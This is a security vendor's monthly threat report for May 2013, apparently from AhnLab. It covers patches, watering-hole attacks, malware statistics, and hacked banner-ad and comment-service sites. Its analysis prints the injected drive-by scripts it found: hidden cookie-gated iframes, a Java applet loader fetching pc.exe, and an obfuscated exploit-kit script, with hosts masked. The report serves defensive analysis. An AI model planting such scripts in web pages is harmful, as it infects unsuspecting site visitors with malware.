Vulnerabilities in MS13-045 Windows Essentials could allow 
information disclosure

Vulnerabilities in MS13-046 Kernel mode driver could allow authority 
promotion

[Table 2-1] Microsoft Security Updates for May 2013

Critical
MS13-037 Cumulative Security Update for Internet Explorer: 
May 14, 2013

MS13-038 Fabricated web pages could allow remote code 
execution
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US Government Website Watering Hole Attack 
Report

It was reported that on May 1st, the US Department of Labor 

and US Department of Energy websites were used for malware 

distribution. Also known as the "Watering hole", this attack is 

being reported as led by the Chinese 'DeepPanda' group which 

attacked the Fortune 500 companies in 2011. The attack code 

inserted to the website the vulnerabilities in CVE-2012-4792 (first 

reported on Dec. 30 2012), targeting users on Windows XP OS with 

Internet Explorer 6, 7, 8 versions.

Microsoft released a security patch (Ms13-008) in January 

for the vulnerabilities in CVE-2012-4792. In addition to the 

vulnerabilities in CVE-2012-4792, the vulnerabilities in CVE-

2013-1347(MS13-038) reported last May 5 can also be used for a 

malicious Exploit Kit, so Windows OS users should apply the latest 

security patch.

Microsoft Windows XP Support Ends

Technical support for Windows XP released on Oct. 16 2001 will 

end on April 8 2014. Windows XP still occupies 38% of the OS 

market, and is known to occupy over 30% in the domestic market 

as well.

When vulnerabilities in Windows XP SP3 and in versions below 

Internet Explorer 8.0 continue to be announced (CVE-2012-

4792, CVE-2013-1347), the decision to end technical support for 

Windows XP can expose all XP users to security vulnerabilities. 

Additionally, the fact that most ATMs, POS equipment, advertising 

electronic displays, as well as many other industrial equipment 

use Windows XP is causing more worries than the past Windows 

XP SP2 technical support termination.

However, since the latest Windows OS versions (Windows 7 or 

Windows 8) have less vulnerabilities, some expect that with the 

end of Windows XP SP3 and settling to the latest OS version will 

create a more stable and safer Internet environment.

Intensified APT Attacks between Countries

According to the report by the US Ministry of National Defense on 

May 6, the Chinese government and military have been pointed 

out as the cause of hacking incidents on US businesses and 

national facilities. The Chinese government is reacting strongly 

against this report and denied any charges.

On May 27, the Washington Post reported that over 20 blueprints 

of a US smart weapon system had been disclosed by a Chinese 

hacker's attack on the US Defense Science Board's secret 

reports. Smart weapon technology such as combat planes, 

battleships, and missile defense systems appeared on the list 

and the most expensive equipment among them seems to be the 

latest combat plane (F-35) disclosed in 2007. China is suspected 

to have improved the development speed of its new stealth fighter 

by using this data.

In addition to China, Iran's attacks have also been reported by 

a US congressman. The United States, under the suspicion of 

crippling the Iranian nuclear facility using a malware „Stuxnet‟, 

has now been reported as under attack by Iran. Main targets have Source : http://thenextweb.com/insider/2013/05/01/windows-8-now-up-to-3-84-market-share-but-the-
windows-platform-loses-overall-as-all-other-versions-decline/
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been reported to be industry-based systems, mostly US electronic 

companies. The Iranian government has also denied this as well.

Serious Vulnerabilities in LINUX Kernel Patch

Reports say vulnerabilities (over two years old) in the LINUX 

performance counter subsystem (CVE-2013-2094) have been 

patched. The attack code for the vulnerability of a local account 

user gaining administrator authority was announced on May 

14, and the patch was included in the LINUX kernel update last 

April. This patch is critical when using web hosting or allowing an 

untrusted user access to the system. Patch information for each 

LINUX vendor can be found at the following site.

http://www.cvedetails.com/cve/CVE-2013-2094/
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[Table 3-1] Website Security Report on May 2013
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Web Security Statistics

Website Security Summary

This month, SiteGuard (AhnLab's web browser security service) 

blocked 15,013 websites that distributed malware. 272 types of 

malware, 208 domains with malware, and 963 URLs with malware 

were found. The types of malware decreased slightly from the 

previous month, but the detection of malware, domains with 

malware, and URLs with malware has increased.

Reported malicious codes

Reported types of 
malicious code

Domains with 
malicious code

URLs with 
malicious code

Graph

[Figure 3-1] Monthly Change in Malware Detections

Monthly Change in 
Malware Detections

As of May 2013, the number of 

malware detections increased 

127% from 11,821 detected in 

the previous month to 15,013.
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[Figure 3-2] Monthly Change in the Number of Reported Malware Types

[Figure 3-3] Monthly Change in Domains with Malware

[Figure 3-4] Monthly Change in URLs with Malware

Monthly Change in the 
Number of Reported 
Malware Types

272 malware types were found in 

May 2013, a 10% decrease from 

the 301 found in April.

Monthly Change in 
Domains with Malware

208 domains were found with 

malware in May 2013, which is a 

9% increase from April.

Monthly Change in 
URLs with Malware

963 URLs were found with 

malware in May 2013, a 147% 

increase from the 654 found in 

the previous month.
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1 NEW Win-Spyware/Agent.544453 4,004 34.1 %

2 ▲8 Adware/Win32.StartPage 2,762 23.6 %

3 NEW Trojan/Win32.MalPacked 1,012 8.6 %

4 NEW Trojan/Win32.Agent 943 8.0 %

5 �3 TextImage/Viking 832 7.0 %

6 �5 Trojan/Win32.KorAd 628 5.4 %

7 NEW Win-Trojan/ASD.variant 493 4.2 %

8 �2 Adware/Win32.Clicker 393 3.4 %

9 �4 ALS/Bursted 384 3.3 % 

10 NEW Win-Trojan/Agent.25088.YQ 276 2.4 %

 TOTAL     11,727 100.0 %

TROJAN 4,759 31.7 %
SPYWARE 4,038 26.9 %
ADWARE 3,548 23.6 %
DOWNLOADER 277 1.8 %
DROPPER 89 0.6 %
Win32/VIRUT 41 0.3 %
APPCARE 11 0.1 %
JOKE 2 0.0 %
ETC 2,248 15.0 %  
TOTAL 15,013 100.0%
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[Table 3-2] Top Distributed Types of Malware

[Fig 3-5] Top Distributed Types of Malware

[Table 3-3] Top 10 Distributed Malware

Top Distributed Types 
of Malware

Trojan was the top distributed 

type of malware with 4,759 

(31 .7%)  cases reported, 

followed by Spyware with 4,038 

(26.9%) cases reported.

Top 10 Distributed 
Malware

Among the Top 10 malware 

distributed, Win-Spyware/

Agent.544453 was the most 

distributed malware with 4,004 

cases reported. 5 new malware 

including  Win-Spyware/

Agent.544453 emerged in the 

Top 10 list this month.

Ranking Malicious Code Reports Percentage

Type Reports Percentage
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The following is a brief characterization of hacked websites for 

distribution of malware in May.

Site Banner Ads, Safe?

A malware creator usually finds a vulnerable website to hack and 

upload the malware to distribute it as widely as possible. However, 

this method is inefficient. Then what may be an efficient method 

for the creator to widely distribute the malware to achieve the goal 

(of obtaining personal data, Internet banking data, etc)? Hacking 

a website with banner ads and inserting the malware (a link for 

downloading the malware) is one of the most efficient methods.

Let's assume the malware creator hacked a banner ad and 

inserted the code. Other websites, unaware of this can link the 

banner ad to themselves and instantly turn into a distribution point. 

Even if the website is not vulnerable, a banner ad can turn the 

entire website into a distribution site.

Some of the recently found distribution sites show the mentioned 

banner ad distribution path, which has been visualized in [Figure 3-6].

(1) Press website: get_bringback.js

The following code is inserted in the get_bringback.js linked to the 

press website. 

(2) Web storage site : get_kdisk_bringback.js?_=1369964785811

The following code is inserted in the get_kdisk_bringback.js linked 

to the web storage site. 

The banner ad provided to the press and web storage sites came 

from the same banner site, and the inserted malware is identical 

except the URL(marked in blue).

The actual malware score_box.html, personal_if.html was created 

with the Gongda Exploit Kit which can easily be found on malware 

distribution sites. 

As shown in [Figure 3-7], when analyzing these malware, they are 

coded to use 6 JAVA vulnerabilities, 1 Flash Player vulnerability, 

[Figure 3-6] Malware distribution through banner ads

if(document.cookie.indexOf('ralrlea')==-1){var expires=new 

Date();expires.setTime(expires.getTime()+24*60*60*1000

);document.cookie='ralrlea=Yes;path=/;expires='+expires.

toGMTString();document.write("<iframe width=100 height=0 

frameborder=0 src=http://www.**********.co.kr/_data/content/

score_box.html></iframe>");}

if(document.cookie.indexOf('ralrlea')==-1){var expires=new 

Date();expires.setTime(expires.getTime()+24*60*60*1000

);document.cookie='ralrlea=Yes;path=/;expires='+expires.

toGMTString();document.write("<iframe width=100 height=0 

frameborder=0 src=http://www.********.com/akek/personal_

if.html></iframe>");}

[Figure 3-7] score_box.html, personal_if.html created with Gongda 	
	 Exploit Kit
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and 1 IE vulnerability to download and run pc.exe. The following is a 

malware which uses a Java vulnerability, CVE-2013-0422 to download 

pc.exe. 

Malware distributed through Social Comment 
Service

Social comment services are combined with SNS for marketing 

and communicating purposes in businesses, press and 

institutions. In May, a certain social comment service provider was 

hacked and inserted with a malware, and all other websites using 

the service were recognized as a malware distribution website.

http://****lk.***ckple.com/js/***lk.jswas inserted with the 

following obfuscated malicious script. 

The obfuscated code above is designed to download 

http://175.***.51.***/popup/notice.html, and notice.html has 

been obfuscated with the Gongda Exploit Kit, which is most 

commonly used in Korea. If the connected PC is using IE, Java, 

or Flash Player and has any vulnerability in one of its programs, 

then a malware is downloaded from a certain site (http://

www.*******music.com/r.gif) and executed. r.gif is a Trojan horse 

that steals items from users in certain online game for cashing 

purposes.

gondad.archive="qIKrwpa5.jpg";

gondad.code="xml20130422.XML20130422.class";

gondad.setAttribute("xiaomaolv","http://admin.**********.co.kr/

pc.exe");

gondad.setAttribute("bn","woyouyizhixiaomaolv");

gondad.setAttribute("si","conglaiyebuqi");

gondad.setAttribute("bs","748");

document.body.appendChild(gondad);

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.

replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e)

{return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c])

{p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}

('4(3.8.25(\'10\')==-1){13 2=9 23();2.26(2.27()+24*15*15*29*7);

3.8=\'10=28;22=/;2 <←---omitted---→

39"+"38=0></4"+"37"+"14>")}}',10,47,'||expires|document|if||||co

okie|new|naver1_ad||java|var|me|60|ActiveXObject|isInstalled|i||

write|JavaWebStart|path|Date||indexOf|setTime|getTime|Yes|1

000|toGMTString|fra|html|tice|no|wi|dth|ra|ight|he|sr|popup|ht|c|

tp|75|51'.split('|'),0,{}))
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